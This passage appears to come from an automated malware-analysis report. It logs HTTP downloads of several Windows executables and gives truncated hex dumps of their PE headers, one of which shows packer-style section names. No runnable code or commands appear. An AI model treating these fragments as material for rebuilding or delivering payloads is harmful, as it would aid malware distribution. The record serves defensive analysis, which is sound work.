00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:09:31 GMTContent-Type: application/octet-streamContent-Length: 1870336Last-Modified: Wed, 20 Nov 2024 06:31:49 GMTConnection: keep-aliveETag: "673d8255-1c8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4a 00 00 04 00 00 72 3b 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 d9 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 d9 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6b 69 74 6d 73 75 65 00 70 19 00 00 70 30 00 00 6e 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6d 73 62 71 66 6f 7a 00 10 00 00 00 e0 49 00 00 04 00 00 00 64 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 49 00 00 22 00 00 00 68 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
